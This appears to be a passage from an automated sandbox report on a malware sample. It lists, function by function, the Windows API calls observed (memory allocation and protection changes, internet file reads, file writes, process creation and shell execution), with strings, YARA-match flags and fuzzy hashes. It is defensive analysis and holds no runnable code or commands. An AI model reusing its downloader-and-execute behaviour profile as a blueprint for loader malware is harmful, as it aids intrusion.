Instruction Fuzzy Hash: A4316371D00109AFEB14DBE9CC85FEEB7B9EB08714F60812AE521731C0C7789945CBA4

Function 04B5003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B5024D

Strings

cess, xrefs: 04B5018D
kernel32.dll, xrefs: 04B5008F, 04B50095

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 396920cd1cc17b7f9a719df89174d27e3b796f5da06276b071d7e00186d60338
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C6526A74A01229DFDB64DF58C985BACBBB1BF09304F1480D9E94DAB361DB30AA85DF14

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: ef5d7d216a18ec56db342af81d74b206b9fa8c043ee2a269581b6d989e9df7a9
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: ef5d7d216a18ec56db342af81d74b206b9fa8c043ee2a269581b6d989e9df7a9
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 00405A30 Relevance: 8.2, APIs: 2, Strings: 3, Instructions: 678sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,3031BDFB), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

get, xrefs: 00405E91
SUB=, xrefs: 00405A98
U%, xrefs: 00406916

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: SUB=$get$U%
API String ID: 2563648476-1840017472
Opcode ID: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction ID: c38411781881cdafda6c84006562c20812e5f10be50bcbbeaff71a156a434d29
Opcode Fuzzy Hash: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction Fuzzy Hash: 04323171D101089BCB19FBB5C95AADE73786F14308F50817FE856771C2EE7C6A08CAA9

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

open, xrefs: 1000214F
.exe, xrefs: 1000206B

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: e4384984b18e181fb1594b7b9fac09415766b676974dc2044245fe05013f5668
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: e4384984b18e181fb1594b7b9fac09415766b676974dc2044245fe05013f5668
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401E20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 004021A3

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction ID: 09126ff878240097ddd60f0c8300d9112e53121ff3c2cf1df5c9ef382bee38eb
Opcode Fuzzy Hash: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction Fuzzy Hash: 1A518E71E002099FDF14CFA9C895BEEB7B9EB08304F10812EE915BB6C1C779A944CB94

Function 004021F0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
CloseHandle.KERNEL32(00000000), ref: 0040224E

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction ID: 5700bef43f604e24781938fdb315806f7bd82b17c931dadbe0ad0f8cbe635642
Opcode Fuzzy Hash: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction Fuzzy Hash: 2B01D272600208ABDB20DBA8DD49FAEB7E8EB48714F40417EFA05A62D0CBB46945C758

Function 00410536 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(08758BC2,?,00410530,00000016,0040CDA2,?,08758BC2,3031BDFB,0040CDA2,08758BC2), ref: 00410547
TerminateProcess.KERNEL32(00000000,?,00410530,00000016,0040CDA2,?,08758BC2,3031BDFB,0040CDA2,08758BC2), ref: 0041054E
ExitProcess.KERNEL32 ref: 00410560

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction ID: 67797f44d9d46dd495823d9566bad27c4dc507fd550e6630b3786a266b8fea83
Opcode Fuzzy Hash: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction Fuzzy Hash: A0D09E31000108FBCF11AF61DC0D8CD3F26AF40355B008035BD0945131DFB59DD69E48

Function 004132B1 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132C7
GetLastError.KERNEL32(00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132D2

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction ID: d8d9c1c0f29fd1ae3c391d4f931883298020c9469a54bb124b4f82b2896bf902
Opcode Fuzzy Hash: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction Fuzzy Hash: E6E0E6356002146BCB113FB5AC097D57F68AB44759F114076F60C96161D6398996879C

Function 04B50E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B50223,?,?), ref: 04B50E19
SetErrorMode.KERNEL32(00000000,?,?,04B50223,?,?), ref: 04B50E1E

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4912d90d3747dd0a2895d6015fe2bffc848cfeb5036af8c0e2bdc930983e63eb
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 37D0123154512877D7003A94DC09BCDBB1CDF09B62F108451FB0DD9080C770954046E5

Function 00AAE549 Relevance: 1.6, APIs: 1, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00AAE567,00000004,?), ref: 00AAE60D

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4b2cc182b9c5d46789560b90eb4bbd534b058e2e09652e958bf3ab95931b9cf2
Instruction ID: 326a637f5b655f2ddd4e465608c0392185c2f9ed009f349cbf50936b8c4696e2
Opcode Fuzzy Hash: 4b2cc182b9c5d46789560b90eb4bbd534b058e2e09652e958bf3ab95931b9cf2
Instruction Fuzzy Hash: D31127B294D145AFE301CF59AE04EEABB69EBC3330B308956F44187995D3715C059771

Function 00AAE58D Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00AAE567,00000004,?), ref: 00AAE60D

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: edd57a3075efff80de4c3d0e598c36d0aa5ae77cc633e8ffa4d7b2ef3fbecdfe
Instruction ID: 93a59e7c8f3b0c1ff2779f486a4d98abb2a6523b11f35fc37a9d778e76308a79
Opcode Fuzzy Hash: edd57a3075efff80de4c3d0e598c36d0aa5ae77cc633e8ffa4d7b2ef3fbecdfe
Instruction Fuzzy Hash: 5201DFF6609101BEE701CE14AE44EFBBB7DEAC2330B30C91AF405C3945C2656D059630

Function 00AAE579 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00AAE567,00000004,?), ref: 00AAE60D

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8d6c19c15ea95a35c7740a19f3e652c472fc32d6ee25160483b1b28bd7756d7f
Instruction ID: 9c83c5e03cadcd47caf68eb5d176ace87b04bcae1f3666a42f8047842c811fcc
Opcode Fuzzy Hash: 8d6c19c15ea95a35c7740a19f3e652c472fc32d6ee25160483b1b28bd7756d7f
Instruction Fuzzy Hash: 5801DFB6549141BEE300CF98AA04EFBBB6EEAC2330B30881AF402C7985D3616D05A635

Function 009AB456 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a6000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3cec1653439a25856c71cb39de32e38bab8bd870f33b33d961d5ee91f9e776
Instruction ID: 72f540f133db9d700501ba6d4b258090605c47ab2bcee8bd2f052c43cc83b03e
Opcode Fuzzy Hash: 4f3cec1653439a25856c71cb39de32e38bab8bd870f33b33d961d5ee91f9e776
Instruction Fuzzy Hash: 8E116DB141D200AFE7426F28D85577ABBE4EF2A300F190C6DE6C287252E6399864D797

Function 00AAE5A8 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00AAE567,00000004,?), ref: 00AAE60D

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d6fffd046c97ec6e818736573b84d1322e53b62172ceed98d89e44f5e8098592
Instruction ID: 00d8b32828c966786b10f0c574b0489555de15af20782c684e2f61d95c2aea15
Opcode Fuzzy Hash: d6fffd046c97ec6e818736573b84d1322e53b62172ceed98d89e44f5e8098592
Instruction Fuzzy Hash: 78F0C2B7549215AEE700CE54AA50AFBBB6EEBC2330B308817F806C3949D3756D169670

Function 009AB3DA Relevance: 1.5, APIs: 1, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009AF6D2

Memory Dump Source

Source File: 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a6000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8dd01d95d95673f994bceeb07821e15c3e8c139c81d165b0a443810918f0039f
Instruction ID: c073eb89ae24eb478b915d5759e360c6318a9bd8619b0d0591fa7b534d99a126
Opcode Fuzzy Hash: 8dd01d95d95673f994bceeb07821e15c3e8c139c81d165b0a443810918f0039f
Instruction Fuzzy Hash: AAF05E7605D608DFE7056F149C417BEBBE4EF1A710F20082DFAC2929A1E7761860DB86

Function 00413C79 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction ID: d9d624181c4160d02ab49c773ca7be82655902724fa9057d6622eb650e71da69
Opcode Fuzzy Hash: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction Fuzzy Hash: BAE0E53350013057D6213F668C007DB7A4C9F413A2F180167EC18B62D0FA6CCE8141ED

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 00AAE5D4 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00AAE567,00000004,?), ref: 00AAE60D

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c38efef9c03686d1c48387e59432d47dbfd6a000b20c80eaa7839d6d39ec8ae1
Instruction ID: ca36afe4c138381a7eb482caca3a74bad0f90493b3c574ab71ad29c51d74ea40
Opcode Fuzzy Hash: c38efef9c03686d1c48387e59432d47dbfd6a000b20c80eaa7839d6d39ec8ae1
Instruction Fuzzy Hash: E6F027B6A4A209EFDB01CF64894459FBB66FF82330F34881AF44083981C2716C119740

Function 009AA619 Relevance: 1.5, APIs: 1, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009AF6D2

Memory Dump Source

Source File: 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a6000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f477d7a35ec9d34eb420bbf4c10bdd928824f8ebca6bba037db241e83c7a619a
Instruction ID: 41d9a3380d1e78367f00910eb1b0fc8a1418764c61de94e7bb1e33fe6dd8f5d8
Opcode Fuzzy Hash: f477d7a35ec9d34eb420bbf4c10bdd928824f8ebca6bba037db241e83c7a619a
Instruction Fuzzy Hash: DBF058B001D600DFD3406F28D88057EBBE0EF29700F114C2DE1C383612E6399890DB87

Function 009AB42B Relevance: 1.5, APIs: 1, Instructions: 26libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009AF6D2

Memory Dump Source

Source File: 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a6000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 07147bb6204e8956a716f248055653b8bc485c336f587f627913819220e8ddf8
Instruction ID: b6b5a444f08c9be46666c589f33d9ad0f9ae4d0b2a51a92cc8b5c72e3a1edc60
Opcode Fuzzy Hash: 07147bb6204e8956a716f248055653b8bc485c336f587f627913819220e8ddf8
Instruction Fuzzy Hash: DBE0EDB051D900DFE705AF18D89567EB7E4EF29700F15483DE6C7C3610E63698919A87

Function 00D6CDAD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00D6CDFE

Memory Dump Source

Source File: 00000000.00000002.2536971239.0000000000D6C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D6C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d6c000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 011a2f0dd03ff3adcf995cb776249346d8b554129674383c78f1aaa3cd49bdc6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E8113C79A00208EFDB01DF98C985E99BBF5EF08350F058094F9489B362D371EA90DF90

Function 00402E30 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E3F

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction ID: eb79ea19b3e1abf3f5b24c483eecae43203cd8e5c5511bfeef65b24117358006
Opcode Fuzzy Hash: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction Fuzzy Hash: 17C0483200020DFBCF025FD1EC048DA7F2AFB09260B00C020FA1844032C773A931ABA5

Function 00402E50 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402E5C

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction ID: a3fa6bbe5c1a250ebea8c2fc35f655263c95a0ace9f7750fc45cf9fcc5ecde2d
Opcode Fuzzy Hash: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction Fuzzy Hash: 5CB0923204020CFBCF025F81EC048D93F6AFB0C261B408020FA1C44031C7339675AB84

Non-executed Functions

Function 04B53F87 Relevance: 43.8, APIs: 20, Strings: 4, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,0042C014,0041F068,00000000), ref: 04B53FF1
Sleep.KERNEL32(000003E8), ref: 04B54189
__Init_thread_footer.LIBCMT ref: 04B5475E
__Init_thread_footer.LIBCMT ref: 04B54924
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,04B56D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B54B2E
__Init_thread_footer.LIBCMT ref: 04B54BBC
__Init_thread_footer.LIBCMT ref: 04B54E25
CoInitialize.OLE32(00000000), ref: 04B54EA6
CoCreateInstance.COMBASE(0041F290,00000000,00000001,0041F260,?), ref: 04B54EC1
__Init_thread_footer.LIBCMT ref: 04B55324
Sleep.KERNEL32(00000BB8,00000000,?,04B56CE8,0041D8A0,0042DB20,0042DB21), ref: 04B5553C
__Init_thread_footer.LIBCMT ref: 04B55632
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,04B56D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B54F2F

Part of subcall function 04B60A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B55CE6,00000000,0042C014), ref: 04B60A5E
Part of subcall function 04B60A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B60A7D

__Init_thread_footer.LIBCMT ref: 04B5428D

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Part of subcall function 04B52457: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 04B5248D
Part of subcall function 04B52457: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 04B524AE
Part of subcall function 04B52457: CloseHandle.KERNEL32(00000000), ref: 04B524B5

__Init_thread_footer.LIBCMT ref: 04B54469

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

Strings

]DFE, xrefs: 04B548A7
viFO, xrefs: 04B54B41
KDOX, xrefs: 04B54B4B
^OX*, xrefs: 04B54DD2

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$File$CreateEnterLeavePathSleepTime$ByteCharCloseFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@WideWrite__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 529012138-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 5a9771f451b435d1f4eef1d856df3c4dca986a309533f201dafbf6e95270ee00
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: 09F2E1B0E042589BEB24DF24CC48BADBBB1EF45304F5442E8D8096B2A1DB75BAC5CF55

Function 04D03120 Relevance: 22.8, APIs: 8, Strings: 4, Instructions: 1839COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D03426
__Init_thread_footer.LIBCMT ref: 04D03602
__Init_thread_footer.LIBCMT ref: 04D038F7
__Init_thread_footer.LIBCMT ref: 04D03ABD
__Init_thread_footer.LIBCMT ref: 04D044BD
__Init_thread_footer.LIBCMT ref: 04D047CB
__Init_thread_footer.LIBCMT ref: 04D03D55

Part of subcall function 04D0FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D0FC16

__Init_thread_footer.LIBCMT ref: 04D03FBE

Strings

^OX*, xrefs: 04D03F6B
KDOX, xrefs: 04D03CE4
viFO, xrefs: 04D03CDA
]DFE, xrefs: 04D03A40

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 829385169-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 88129635c1eb5b3cbac3c2365f4df0ed5b7c99a00c2ac15b0ae6a711a23d9b97
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
